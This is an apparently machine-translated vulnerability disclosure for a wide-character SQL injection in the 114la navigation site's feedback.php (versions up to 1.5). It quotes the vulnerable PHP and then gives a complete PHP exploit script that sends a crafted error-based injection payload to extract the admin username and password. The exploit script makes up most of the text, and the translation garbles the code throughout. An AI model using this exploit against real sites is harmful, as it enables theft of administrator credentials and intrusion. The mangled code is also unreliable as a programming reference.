114 la web site navigation message book injection and repair

 

Vulnerability file feedback/feedback. php
Affected version <= 1.5
$ Username = empty ($ _ POST ['username'])? '': Strip_tags (iconv ('utf-8', 'gbk', $ _ POST ['username']);
$ Email = (isset ($ _ POST ['email '])? Strip_tags (iconv ('utf-8', 'gbk', $ _ POST ['email ']): '';
$ Content = (isset ($ _ POST ['content'])? Trim (iconv ('utf-8', 'gbk', $ _ POST ['content']): '';
(Empty ($ content) & $ error_msg. = ', comments and suggestions ';

If (! Empty ($ error_msg ))
{
Throw new Exception ($ error_msg, 11 );
}

$ Content = htmlspecialchars ($ content, ENT_QUOTES );
If (strlen ($ content)> 600 | strlen ($ content) <40)
{
Throw new Exception ('control your description in 20-300 words. For more information, submit it in multiple times. ', 1 );
}

// Number of verifications
$ Old_cookie = (isset ($ _ COOKIE ['fdnum'])? (Int) $ _ COOKIE ['fdnum']: 0;
If ($ old_cookie> = SUBMIT_ONE_DAY)
{
Throw new Exception ('Sorry, you can only submit '. SUBMIT_ONE_DAY.' times for feedback within 24 hours. Thank you for your cooperation! ', 2 );
}
$ Old_cookie ++;

If (false = app_db: insert ('ylmf _ feedback', array ('username', 'email ', 'content', 'add _ Time '),
Array ($ username, $ email, $ content, time ())))
{
Throw new Exception ('sorry, information submission failed. Please try again. ', 1 );
}
Else
{
// Record the submission times
If ($ old_cookie> SUBMIT_ONE_DAY |! Isset ($ _ COOKIE ['fdstime']) | $ _ COOKIE ['fdstime'] <1)
{
Setcookie ('dfstime ', time (), time () + 86400 );
Setcookie ('fdnum', $ old_cookie, time () + 86400 );
}
Else
{
Setcookie ('fdnum', $ old_cookie, time () + 86400-(time ()-$ _ COOKIE ['fdstime ']);
}

Throw new Exception ('<div class = "success"> submitted successfully. Thank you for your feedback! <A href = "'. URL.'/"> return to www.2cto.com </a> </div> ', 3 );
Unset ($ username, $ email, $ content );
}
Copy code
$ Username, $ email, and $ content are forcibly converted to GBK encoding but are not filtered. insert directly to construct UTF8 wide characters to form wide character injection-low-key development (\ s & v1 u: u0 f0 r

EXP
<? Php
$ Sbcopyright ='
----------------------------------------
114la feedback injection Vul Exploit
By xZL
Team: Ke
2011.04.02

Usage: php '. $ argv [0]. 'Host/path
Example: php '. $ argv [0].' 127.0.0.1/
----------------------------------------
';
If ($ argc <3 ){
Print_r ($ sbcopyright );
Die ();
}

Ob_start ();
$ Url = $ argv [1];
$ Path = $ argv [2];

$ Sock = fsockopen ("$ url", 80, $ errno, $ errstr, 30 );
If (! $ Sock) die ("$ errstr ($ errno) \ n ");
$ Data = "username = 0kee % E7 % B8 % 97 '& email =, 0, (select % 201% 20 from % 20 (select % 20 count (*), concat (SELECT % 20 concat (name, 0x5f, password) % 20 FROM % 20ylmf_admin_user limit 0, 1), floor (rand (0) * 2 )) x % 20 from % 20information_schema.tables % 20 group % 20by % 20x) a), 2) # & content = ~~~~~ This is a test from 0kee security team ~~~~~ ";

Fwrite ($ sock, "POST $ path/feedback. php HTTP/1.1/r \ n ");
Fwrite ($ sock, "Accept: */* \ r \ n ");
Fwrite ($ sock, "Referer: http: // $ url/# M \ r \ n ");
Fwrite ($ sock, "Accept-Language: zh-cn \ r \ n ");
Fwrite ($ sock, "Content-Type: application/x-www-form-urlencoded \ r \ n ");
Fwrite ($ sock, "Accept-Encoding: gzip, deflate \ r \ n ");
Fwrite ($ sock, "User-Agent: Mozilla \ r \ n ");
Fwrite ($ sock, "Host: $ url \ r \ n ");
Fwrite ($ sock, "Content-Length:". strlen ($ data). "\ r \ n ");
Fwrite ($ sock, "Connection: Keep-Alive \ r \ n ");
Fwrite ($ sock, "Cache-Control: no-cache \ r \ n ");
Fwrite ($ sock, "Cookie: ASPSESSIONIDASDRRBRA = MFILAMMAENMDGAPJLLKPEAON \ r \ n ");
Fwrite ($ sock, $ data );

$ Headers = "";
While ($ str = trim (fgets ($ sock, 4096 )))
$ Headers. = "$ str \ n ";
Echo "\ n ";
$ Body = "";
While (! Feof ($ sock ))
$ Body. = fgets ($ sock, 4096 );

Fclose ($ sock );

If (strpos ($ body, 'duplicate entry ')! = False ){
Preg_match ('/Duplicate entry \' (. *) 1 \ '/', $ body, $ arr );
$ Result = explode ("_", $ arr [1]);
Print_r ("Exploit Success! \ Nusername: ". $ result [0]." \ npassword: ". $ result [1]." \ nGood Luck! ");
} Else {
Print_r ("Exploit Failed! \ N ");
}

Ob_end_flush ();
?>